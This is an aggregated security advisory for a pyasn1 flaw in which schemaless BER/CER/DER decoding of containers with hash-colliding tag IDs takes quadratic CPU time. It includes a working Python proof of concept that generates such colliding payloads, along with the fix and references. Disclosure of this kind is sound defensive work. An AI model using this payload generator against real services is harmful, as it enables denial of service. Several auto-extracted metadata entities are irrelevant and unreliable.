---
schema_version: '1.0'
id: security-20261031-46cbcd
title: 'CVE-2026-119194: pyasn1 has quadratic CPU use in schemaless BER/CER/DER container
  decoding'
url: https://osv.dev/vulnerability/GHSA-fm9c-5rcf-2q5p
url_hash: 46cbcdcea6632647043a116684937f1e5d1e00c047139316f084dec8ddf8f961
canonical_url: https://osv.dev/vulnerability/GHSA-fm9c-5rcf-2q5p
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-119194
- GHSA-fm9c-5rcf-2q5p
- severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- pyasn1
- PyPI
lang: en
published_at: '2026-10-30T23:03:37Z'
fetched_at: '2026-10-31T03:19:44.643737Z'
updated_at: '2026-10-31T10:45:43Z'
status: published
content_hash: dab0070305a8a832c949ef3701af953785d43cebd4a2cd305890d60c38f63fe9
content_changed_at: null
license_note: full
summary: pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
summary_source: rss
summary_en: pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
summary_omitted_reason: null
redistribution: true
keywords_en:
- BER
- CER
- container
- CPU
- cve
- CVE-2026-119194
- decoding
- DER
- GHSA-fm9c-5rcf-2q5p
- has
- library vulnerability
- pyasn1
- PyPI
- PyPIのBrotliパッケージ
- quadratic
- schemaless
- severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Shay McVeigh
- software security
- use
- User
entities_en:
- name: CPU
  type: artifact
- name: has
  type: UNKNOWN
- name: PyPIのBrotliパッケージ
  type: organization
- name: Shay McVeigh
  type: person
- name: User
  type: person
topics_en:
- library vulnerability
- software security
numeric_facts: []
entities:
- name: Shay McVeigh
  type: person
- name: PyPIのBrotliパッケージ
  type: organization
- name: has
  type: UNKNOWN
- name: CPU
  type: artifact
- name: User
  type: person
key_facts: []
related: []
related_auto:
- name: User Query
  type: other
  weight: 8.8
- name: ハッシュタグ
  type: content
  weight: 2.0
- name: Portland man
  type: person
  weight: 1.0
- name: AMD
  type: organization
  weight: 1.0
computed_at: '2026-10-31T10:45:25Z'
---

# CVE-2026-119194: pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding

## TL;DR
pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding

## Key Points
- cve / CVE-2026-119194 / GHSA-fm9c-5rcf-2q5p / severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H / pyasn1 / PyPI

## Details
**Severity:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**Advisory:** GHSA-fm9c-5rcf-2q5p (CVE-2026-119194)

**Details:**
### Summary

When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

### Details

ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

### Proof of concept

Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

```python
import sys
import time

from pyasn1.codec.ber import decoder
from pyasn1.type import univ


def enc_tag(tag_id):
    groups = [tag_id & 0x7f]
    tag_id >>= 7
    while tag_id:
        groups.append((tag_id & 0x7f) | 0x80)
        tag_id >>= 7
    return b'\xbf' + bytes(reversed(groups))


def payload(tag_ids):
    body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                    for tag_id in tag_ids)
    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
    return b'\x30' + bytes([0x80 | len(length)]) + length + body


for count in (3200, 6400):
    cases = (
        ("collision", [32 + i * sys.hash_info.modulus
                       for i in range(count)]),
        ("control", [(1 << 70) + i for i in range(count)]),
    )
    for name, tag_ids in cases:
        wire = payload(tag_ids)
        start = time.process_time()
        value, remainder = decoder.decode(wire)
        cpu_seconds = time.process_time() - start

        assert type(value) is univ.Sequence
        assert len(value) == count and remainder == b''
        for position, tag_id in enumerate(tag_ids):
            component = value.getComponentByPosition(position)
            assert component.asOctets() == b'A'
            assert component.tagSet[-1].tagId == tag_id

        print(count, name, len(wire), round(cpu_seconds, 3))
```

### Impact

Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.

**References:**
- https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p
- https://nvd.nist.gov/vuln/detail/CVE-2026-119194
- https://github.com/pyasn1/pyasn1/pull/132
- https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86
- https://github.com/pyasn1/pyasn1
- https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-fm9c-5rcf-2q5p_

## Source
元記事: [CVE-2026-119194: pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding](https://osv.dev/vulnerability/GHSA-fm9c-5rcf-2q5p) — published 2026-10-30T23:03:37Z
